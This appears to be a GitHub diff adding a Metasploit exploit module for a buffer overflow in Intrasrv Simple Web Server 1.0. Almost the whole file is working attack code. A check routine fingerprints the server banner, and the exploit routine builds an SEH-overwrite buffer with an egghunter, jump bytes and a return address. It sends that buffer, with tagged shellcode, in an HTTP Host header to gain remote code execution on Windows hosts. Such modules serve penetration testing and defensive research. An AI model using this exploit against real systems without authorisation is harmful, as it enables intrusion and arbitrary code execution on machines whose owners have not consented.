|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Tcp |
| 14 | + include Msf::Exploit::Egghunter |
| 15 | + |
| 16 | + def initialize(info={}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => "Intrasrv 1.0 Buffer Overflow", |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a boundary condition error in Intrasrv |
| 21 | + Simple Web Server 1.0. The web interface does not validate the |
| 22 | + boundaries of an HTTP request string prior to copying the data |
| 23 | + to an insufficiently large buffer. Successful exploitation leads |
| 24 | + to arbitrary remote code execution in the context of the application. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'xis_one@STM Solutions', #Discovery, PoC |
| 30 | + 'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['OSVDB', '94097'], |
| 35 | + ['EDB','18397'], |
| 36 | + ['BID','60229'] |
| 37 | + ], |
| 38 | + 'Payload' => |
| 39 | + { |
| 40 | + 'StackAdjustment' => -3500, |
| 41 | + 'BadChars' => "\x00" |
| 42 | + }, |
| 43 | + 'DefaultOptions' => |
| 44 | + { |
| 45 | + 'ExitFunction' => "thread" |
| 46 | + }, |
| 47 | + 'Platform' => 'win', |
| 48 | + 'Targets' => |
| 49 | + [ |
| 50 | + ['v1.0 - XP/2003/Win7', |
| 51 | + { |
| 52 | + 'Offset' => 1553, |
| 53 | + 'Ret'=>0x004097dd #p/p/r - intrasrv.exe |
| 54 | + } |
| 55 | + ] |
| 56 | + ], |
| 57 | + 'Privileged' => false, |
| 58 | + 'DisclosureDate' => "May 30 2013", |
| 59 | + 'DefaultTarget' => 0)) |
| 60 | + |
| 61 | + register_options( |
| 62 | + [ |
| 63 | + OptPort.new('RPORT', [true, 'The remote port', 80]) |
| 64 | + ], self.class) |
| 65 | + end |
| 66 | + |
| 67 | + def check |
| 68 | + begin |
| 69 | + connect |
| 70 | + rescue |
| 71 | + print_error("Could not connect to target!") |
| 72 | + return Exploit::CheckCode::Safe |
| 73 | + end |
| 74 | + sock.put("GET / HTTP/1.0\r\n") |
| 75 | + res = sock.get |
| 76 | + |
| 77 | + if res and res =~ /intrasrv 1.0/ |
| 78 | + return Exploit::CheckCode::Vulnerable |
| 79 | + else |
| 80 | + return Exploit::CheckCode::Safe |
| 81 | + end |
| 82 | + end |
| 83 | + |
| 84 | + def exploit |
| 85 | + # setup egghunter |
| 86 | + hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { |
| 87 | + :checksum => true |
| 88 | + }) |
| 89 | + |
| 90 | + # setup buffer |
| 91 | + buf = rand_text_alpha(target['Offset']-128) # junk to egghunter |
| 92 | + buf << make_nops(8) + hunter # nopsled + egghunter at offset-128 |
| 93 | + buf << rand_text_alpha(target['Offset']-buf.length) # more junk to offset |
| 94 | + buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter |
| 95 | + buf << [target.ret].pack("V*") # seh |
| 96 | + |
| 97 | + # attach egg tag to payload |
| 98 | + shellcode = egg + egg |
| 99 | + shellcode << payload.encoded |
| 100 | + |
| 101 | + print_status("Sending buffer...") |
| 102 | + connect |
| 103 | + sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{shellcode}") |
| 104 | + disconnect |
| 105 | + end |
| 106 | +end |
0 commit comments